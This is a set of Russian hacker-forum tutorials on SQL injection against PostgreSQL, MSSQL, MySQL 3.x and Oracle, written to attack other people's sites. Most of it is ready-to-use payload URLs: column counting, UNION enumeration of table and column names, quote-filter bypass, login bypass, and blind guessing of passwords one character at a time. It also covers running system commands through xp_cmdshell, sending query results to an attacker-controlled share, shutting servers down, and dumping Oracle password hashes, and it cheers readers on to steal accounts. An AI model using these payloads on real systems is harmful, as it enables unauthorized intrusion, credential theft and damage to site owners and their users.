[ PosgreSQL & MSSQL Injection ] [ INTRO ] Как известно, помимо удобного и бесплатного MySQL существует множество баз данных, не так распространенных, но не менее достойных. Из них я приведу 2 БД, также широко используемые в Интернете: PostgreSQL и MSSQL. Я хочу их немного описать, ибо мне часто встречались сервера с этими установленными системами. Также скоро я приведу примеры взлома. Итак, начнем. Как известно, взаимодействие с БД осуществляется с помощью SQL - языка специальных запросов. Также он используется при злонамеренных действиях злоумышленником при атаке типа SQL Injection, которую на примере MySQL подробно описал Константин в соседней одноименной теме. Итак, реализация этого языка в разных базах данных различна. Нет, конечно же используются основные операторы типа SELECT, INSERT, UPDATE, DELETE, etc, но функции немного различаются. [ Hacking In Progress ] -> PostgreSQL PostreSQL - очень мощная система, которую сложнее администрировать, чем, например, MySQL. Обычно ее используют на крупных порталах, требующих иерархичной структуры БД. PgSQL работает медленнее, чем MySQL. Вот некоторые правила, которые нужно соблюдать при эксплуатировании SQL-inj на данном типе БД: 1. В PgSQL можно составлять много запросов, которые разделяются символом ";", но UNION тоже присутствует. Код: http://www.victim.com/news.php?id=1;select+from+admin 2. В отличие от мускла, в PgSQL количество полей в select может не совпасть, значит не надо подбирать количество полей, как надо в MySQL: Код: http://www.victim.com/news.php?id=1;select+1 Код: http://www.victim.com/news.php?id=1;select+1,2,3 эти запросы равнозначны и не выведут ошибок (при правильных условиях). 3. Следует учитывать регистр букв. Например, XNT_USERS и xNt_UsErS будут разными таблицами. 4. Открытый комментарий будет считаться ошибкой, в отличие от мускла. Для отсечения лишнего запроса есть фишка - символ null-байта: %00, который также часто используется при атаках типа include. Код: http://www.victim.com/news.php?id=1/* --> Error Код: http://www.victim.com/news.php?id=1%00 --> Good Код: http://www.victim.com/news.php?id=1/**/ --> Good 5. Для записи данных из файла в таблицу используется оператор COPY. Код: http://www.victim.com/news.php?id=1;copy+victim_table+to '/home/victim/' 6. Числа 0 и 1 не равны булевым значениям TRUE && FALSE. Код: http://www.victim.com/news.php?id=1+OR+1 --> Error! Код: http://www.victim.com/news.php?id=1+OR+TRUE --> Good 7. SELECT-запросы разделяются ;, но на выходе будет результат только последнего запроса, так что использование /**/ обязательно. 8.Функция chr() возвращает ASCII-код символа. Но есть одно НО: функция в отличие от мусклового char(value1, value2, value3) возвращает лишь ОДИН символ, т.е. придется для создания строки использовать конкатенацию ||: Код: http://www.victim.com/news.php?id=1;select+chr(1)||chr(2)||chr(3) Вывод: строка 123. 9. Версию и юзера можно узнать путем вызова функций version() и user() соответственно. 10. При наличие прав, можно просто вырубить нах сервер путем юзания функции shutdown =))). PS Для того чтобы определить точно используется ли PgSQL, вот некоторые операторы: Код: |/ == квадратный корень !! == префиксный оператор ! == факториал % == остаток от деления ^ == возведение в степень ||/ == кубический корень sign() == знак числа, переданного в качестве аргумента cbrt() == кубич. корень числа, в кач-ве аргумента. При получении пустой страницы или шаблон страницы грузится без динамического содержимого, то это - PgSQL =). ->MSSQL Итак, мы немного разобрались с PostgreSQL. Настало время для MSSQL - зверя компании микрохард (с) =). MSSQL - это распространенная на Windows-системах СУБД. Как правило, используется связка ASP+MSSQL, но не стоит исключать и пхп или перл+МССКЛ, а также другие менее распространенные языки. Распознать взаимодействие с этой БД можно в большинстве случаев по следующей ошибке: Код: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''' Это не единственный способ определения MSSQL-есть еще множество деталей. Итак, все, что поможет в твоем несомненно успешном хаке: 1.В MSSQL, как и в PgSQL, можно объединять запросы через ”;”. 2. Открытый комментарий /* приводит к ошибке, но зачастую можно использовать последовательность ”—”. 3. В системной базе данных INFORMATION_SCHEMA содержится информация о базе данных (кстати, эта база появилась в 5* ветке мукла и используется в PgSQL). В частности, таблица INFORMATION_SCHEMA.TABLES содержит названия всех таблиц на сервере, а INFORMATON_SCHEMA.COLUMNS - колонок: Код: http://www.victim.com/news.asp?id=1+union+select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES или подбор null-полей: Код: http://www.victim.com/news.asp?id=1+union+select+null,TABLE_NAME,null+from+INFORMATION_SCHEMA.TABLES Аналогично выводится информация о колонках. 4. В MSSQL можно выполнять произвольные системные команды, используя процедуру exec master..xp_cmdshell "cmd" Результат конечно не выведется, но команда на сервере выполнится, т.е. путем команды shutdown now вырубится комп =). Результаты можно отправлять по протоколу NetBIOS на сервер, контролируемый хакером: Код: http://www.victim.com/news.asp?id=1;exec+master..sp_makewebtasl+"\\127.0 .0.1\out\out1.txt",+"select+*+from+information_sch ema.tables" [ OUTRO ] Итак, мы разобрались с двумя СУБД-MSSQL и PostgreSQL. Как видишь, ничего сложного здесь нет-главное не паниковать при виде чего то нового, а идти на офсайт и смотреть мануалы =). Удачи в твоих деяниях, h4x0r! =))) PS Если есть какие то интересные моменты, касающиеся этих БД, то пишите их тут!) (c) Helkern http://Xaker.Name
На счет скулей в PostgreSQL...есть не плохая статья от Spyder ============================= [Intro] Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий. Начнём! [Подбор столбцов] Здесь никакой экзотики, определяем так же как и в MySQL и Oracle. Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить Для этого существует 2 пути: 1. Простой перебор допустим у нас есть сайт с иньекцией Код: www.site.com/index.php?id=1' тогда выполняем такой запрос Код: www.site.com/index.php?id=-1+union+select+null если появилась ошибка, то увеличиваем количество колонок на одну Код: www.site.com/index.php?id=-1+union+select+null,null и так пока не исчезнет ошибка и появится пустая страница 2. Оператор ORDER BY С помощью этого оператора можно намного проще и быстрее определить количество столбцов Выполняем такой запрос: Код: www.site.com/index.php?id=-1+order+by+1-- (ошибки нет, значит столбцов 1 или больше 1) Код: www.site.com/index.php?id=-1+order+by+9999-- (должна появится ошибка, значит столбцов меньше 9999) Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда Код: www.site.com/index.php?id=-1+order+by+4-- (ошибки не будет) Код: www.site.com/index.php?id=-1+order+by+5-- (ошибка есть) [Определяем вывод] Предположим мы подобрали количество столбцов и их оказалось 4 Код: www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого подставим заместо одного из null - цифру Код: www.site.com/index.php?id=-1+union+select+null,111,null,null-- И так меняя столбцы мы узнаём вывод Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд) Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу) [Information_Schema] К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд. Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой. Узнаём таблицы Код: www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES-- Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET Именно OFFSET отвечает за номер записи с которой производится вывод. Пример: Код: www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1-- Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0) Узнаём колонки Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER То что мы знаем имя таблицы - это хорошо, но надо знать и колонки Для этого изменяем запрос на такой: Код: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS-- Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добовляя в него оператор WHERE: Код: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'-- Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки. В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида: Код: ERROR: syntax error at or near "user" at character 173 Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR(). Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции. Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример: chr(113)||chr(114) - вернёт QR Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл. Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она - Код: http://www.paulschou.com/tools/xlate/ Но вернёмся к нашему сайту Закодировав слово user - мы получаем вот такие числа 117 115 101 114 Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так: Код: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)||chr(115)||chr(101)||chr(114)-- Теперь наш запрос правильный и должен вернуть имя колонки Так же обойти фильтрацию кавычек можно подзапросом. Пример: Код: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)-- [PG_TABLES или альтернатива Information_schema] В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME Пример Код: www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TABLES+limit+1+offset+0-- [Хэк или достаём нужную нам инфу из таблицы] Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок Составляем запрос: Код: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя юзера Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать Код: www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null,null+from+user-- Мы увидим запись типа Имя_юзера:мыло_юзера Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT() Использовать так - где: preved - строка которую нам нужно перевести в другую кодировку utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES) [Заключение] В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org. По мере того как информация будет пополнять мой мозг, статья будет обновлятся. Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =) ##END (c) Spyder======================= current_database() возвращает имя базы данных с которой работает cкрипт current_user() имя пользователя, под которым работает скрипт version() информация о версии. LOAD -- Загрузка файла в память. COPY -- Переносим файл в таблицу. Системные таблицы: * pg_auth_members * pg_authid * pg_database * pg_pltemplate * pg_shdepend * pg_shdescription * pg_tablespace дополнения от cash
MySQL 3.x [ MySQL v3.x Injection ] [ INTRO ] В своей статье про SQL Injection (см. неподалеку) Константин рассказал основы ремесла внедрения SQL запросов на MySQL версии 4.x & 5.x. Но помимо этих версий достаточно часто встречаются и устаревшая ветка MySQL - 3.x. Почему я решил о ней тебе рассказать? Потому что, если ты читал статью Константина, ты знаешь, что есть оператор объединения UNION (а если не читал и не знаешь-то исправь сие недоразумение =) ). Но есть одно НО: в третьей версии мускла его не существует! Т.е. как бы ты ни пытался вводить запросы типа: Код: http://victim.com/news.php?id=1+UNION+SELECT+*+from+mysql.user/* Код: то скрипт тебя упорно будет посылать (нет, не туда, куда ты подумал =)) на страницу с ошибкой. Что же делать - спросишь ты, - Ведь злонамеренный запрос не исполнится, а значит я не получу заветную базу данных в мою коллекцию?! Нет, - скажу я. Есть такое понятие как дихотомический поиск. Под этим страшным названием скрывается довольно обычная вещь - запросы перебора. Что это такое? Например, ты хочешь узнать версию мускла. В обычных условиях ты выполнишь UNION-оператор с запросом типа UNION+SELECT+VERSION() в самом простом раскладе, но такая тема тут не прокатит. Код: http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))<82 http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))<60 http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(), 1,1)))>49 http://victim.com/news.php?id=1+and+ascii(lower(substring(Version(),1,1)))=55 При таком запросе возможно выведение версии БД. Давай рассмотрим запрос поближе: --> Функция ascii(ch) возвращает ascii-код символов ”ch”, переданных в качестве параметра. --> Функция substring(str, num, count) возвращает символы из строки ”str” с номера символа ”num” по количество символов ”count”. Далее все выражение сравнивается с кодом символа. После того, как ты найдешь правильный символ, страница будет выведена без ошибки. Допустим, надо проверить доступ твоего юзера к mysql.user: Код: http://victim.com/news.php?id=1+and+ascii(lower(substring((SELECT+pa ssword+FROM+mysql.user),1,1)))>0[/b] Если сценарий ничего полезного не вернул, то прав у тебя на БД нет. [ Tricks ] Если идет какая та фильтрация, если ты не можешь узнать что-то, это не повод расстраиваться! Существуют некоторые полезные вещи, которые ты можешь использовать: Пройти авторизацию при недостаточной фильтрации: Код: http://victim.com/admin.php?pass=test'+or+1/* http://victim.com/admin.php?pass=test'+and+1/* Таким образом, проверяя скрипт, можно пройти авторизацию, не зная пароля. Также с помощью limit можно пройти авторизацию за любого клиента БД. Подсчет количества полей также используется с limit-параметром: Код: http://victim.com/admin.php?pass=test'+or+1+limit+10,1/* http://victim.com/admin.php?pass=test'+or+1+limit+6,1/* http://victim.com/admin.php?pass=test'+or+1+limit+5,1/* http://victim.com/admin.php?pass=test'+or+1+limit+3,1/* Последний и предпоследний запросы не возвратили ошибку, следовательно, количество полей - 5. Также хакер может получить имена столбцов, перебором таблиц в булевых запросах: Код: http://victim.com/admin.php?pass=test'+or+1/* http://victim.com/admin.php?pass=test'+or+name=name/* http://victim.com/admin.php?pass=test'+or+password=password/* http://victim.com/admin.php?pass=test'+or+pass=pass/* Запрос без ошибки покажет, что данный столбец существует. Иногда при наличии двух и более таблиц, понадобится кроме имени столбца указать еще им или псевдоним таблицы: Код: http://victim.com/admin.php?pass=test'+or+1/* http://victim.com/admin.php?pass=test'+or+passwords.name=passwords.name/* http://victim.com/admin.php?pass=test'+or+passwords.login=passwords.login/* http://victim.com/admin.php?pass=test'+or+passwords.password=passwords.password/* http://victim.com/admin.php?pass=test'+or+passwords.pass=passwords.pass/* Опять таки, при отсутствии ошибок, данные существуют. Для последовательного подбора символов пароля можно сделать так: Код: http://victim.com/admin.php?pass=test'+or+pass+like+'a%'/* http://victim.com/admin.php?pass=test'+or+pass+like+'b%'/* ... http://victim.com/admin.php?pass=test'+or+pass+like+'h%'/* Последний запрос не вывел ошибку, следовательно, у пользователя helkern_admin пароль начинается с буквы ”h”. Точно также подбираются остальные символы: Код: http://victim.com/admin.php?pass=test'+or+pass+like+'ha%'/* … http://victim.com/admin.php?pass=test'+or+pass+like+'hacked%'/* http://victim.com/admin.php?pass=test'+or+pass+like+'hacked_%00'/* Последний запрос вызвал ошибку, что в доступе отказано. Следовательно, пароль админа helkern'а будет hacked. Аналогичным образом можно вместо оператора like (допустим при фильтрации сего) использовать операторы сравнения: Код: http://victim.com/admin.php?pass=test'+or+pass+>+'r'/* .. http://victim.com/admin.php?pass=test'+or+pass+>+'z'/* Ошибка! Значит, пароль начнется с ”z”. Также подбираем остальные символы. Подбор пароля происходит таким же образом. Что если у тебя заказ на какого то конкретного юзверя Васю, а не на великого админа helkern'а? ( сильно не пинайте за мою любовь к себе. тихо сам с собою, левою рукою =) ). Можно конечно поиметь пароль админа, но настоящие хеки делают все честно - подбирают пароль юзера Васи следующим образом: Код: http://victim.com/admin.php?pass=test'+or+pass+like+'o%'+and+login=' вася'/* http://victim.com/admin.php?pass=test'+or+pass+like+'on%'+and+login= 'вася'/* ... http://victim.com/admin.php?pass=test'+or+pass+like+'onanist_%'+and+ login='вася'/* В последнем запросе выдалась ошибка, значит, пароль юзера васи будет onanist. "Кто что хочет, то и дрочит (c) rijy =) ". Также есть еще один интересный способ узнать версию БД: Код: http://victim.com/news.php?id=1+/*!00000+and+0+*/ http://victim.com/news.php?id=1+/*!30000+and+0+*/ http://victim.com/news.php?id=1+/*!40000+and+0+*/ http://victim.com/news.php?id=1+/*!50000+and+0+*/ Допустим, появилось сообщение во втором запросе, что записи не найдены. Это значит, что версия равна как минимум 3.0. Сообщение об ошибке в 3 запросе свидетельствует о сервере версии 4.0. Используем дихотомический поиск: Код: http://victim.com/news.php?id=1+/*!00000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!20000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!30000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!40000+and+0+*/ какое то значение => Сервер имеет БД типа 3.x http://victim.com/news.php?id=1+/*!32000+and+0+*/ записи не найдены http://victim.com/news.php?id=1+/*!33000+and+0+*/ какое то значение => Сервер имеет БД типа 3.2x.xx http://victim.com/news.php?id=1+/*!32500+and+0+*/ какое то значение Версия меньше 3.25.00 http://victim.com/news.php?id=1+/*!32300+and+0+*/ записи не найдены Версия больше 3.23.00 http://victim.com/news.php?id=1+/*!32400+and+0+*/ какое то значение версия вида 3.23.xx[ http://victim.com/news.php?id=1+/*!323350+and+0+*/ какое то занчение == Версия меньше 3.23.50 http://victim.com/news.php?id=1+/*!32330+and+0+*/ записи не найдены == Версия вида 3.23.4x[ http://victim.com/news.php?id=1+/*!32345+and+0+*/ какое то значение == Версия меньше 3.23.45 http://victim.com/news.php?id=1+/*!32343+and+0+*/ записи не найдены == 3.23.43 http://victim.com/news.php?id=1+/*!32344+and+0+*/ какое то значение Версия БД равна 3.23.45. Так что такой поиск аналогичен функции version(). [ OUTRO ] На этом мы закончили вводный курс в дихотомический поиск или "Fuck The MySQL 3.x". Теперь ты достаточно знаешь, чтобы хвалиться перед друзьями собранными акками с крутых порталов =) Удачи тебе, перец! (c) Helkern http://Xaker.Name
SQL Injection в Oracle [ Oracle SQL Injection ] [ INTRO ] В предыдущей статье (см. неподалеку в разделе) я рассказал тебе о двух СУБД: PostgreSQL & MSSQL. Стоит знать структуру и нюансы эксплуатирования атак типа SQL Injection на большинстве баз данных, ибо не мусклом едины =). Сегодня я хочу рассказать о не очень распространенной БД-Oracle (я говорю не очень распространенной, потому что в моей практике она ни разу не встречалась). Но если на каком то нужном тебе сервере стоит именно она и ты подозреваешь наличие инъекции в скриптах, то эта маленькая статья - для тебя, ибо я знаю, что малоприятно рыться в английской документации или парсить кучу страниц товарища Гугла =) (хотя Гугл - это незаменимое хакерское оружие, это стоит запомнить всем новичкам в ремесле хацкера). Итак, пар заметок, которые я не поленился достать =): 1. Определение стоящей на сервере СУБД Oracle аналогична определению остальных БД. Смотри ошибки, вылазящие при некорректных параметрах - и будет тебе счастье =). 2. Оракул использует такие запросы как INSERT, DELETE, UPDATE. 3. Для вывода интересующих строк тебе limit, как в MySQL, не поможет. Для этих целей стоит использовать функцию in(1,2). 4. При типе поля, равному integer (цифровое значение, для тех, кто не варит в кодинге), значение null не сработает - используй ее ТОЛЬКО для строкового поля! 5. Самая серьезная ошибка администраторов Oracle - использование юзера с максимальными правами (DBSNMP), следовательно, хек может внедрять запросы при максимальных правах. 6. Символ для разделения ”;” в данной БД не используется. Используй UNION или SUBSELECT. 7. Возможные способы достать схему Оракула: Код: select user from dual select name from V$DATABASE select SCHEMANAME from v$session select sys.login_user from sys.dual Хешированный пасс достается следующими действиями: select PASSWORD from dba_users select PASSWORD from user_users Версия БД: Код: select VERSION from V$INSTANCE Акки юзверей: Код: select * from sys.dba_users 8. Для закомментирования ненужной части запроса юзай --, как в MSSQL. 9. Кавычки равносильны пробелам: Код: select"username"from"sys"."dba_users"where"usernam e'='sys' 10. Для кодирования в ASCII-символ используется chr(), также как и в PgSQL. 11. Для конкатенации опять таки используются пайпы ||. 12. Чтобы найти бажный сайтенг юзай гугль с зопросенгом Код: ORA-00921: unexpected end of SQL command. [ OUTRO ] И на вкусненькое пара сплоитов для этой БД: Код: http://xakep.ru/posst/36944/default.asp PS Конечно, я описал лишь самые легкие способы достать нужную инфу в этой БД, для углубленных атак юзай классные статьи Advanced SQL Injection Chris'a Ahley и Oracle PL/SQL Injection David'а Litchfield'а. (c) Helkern http://Xaker.Name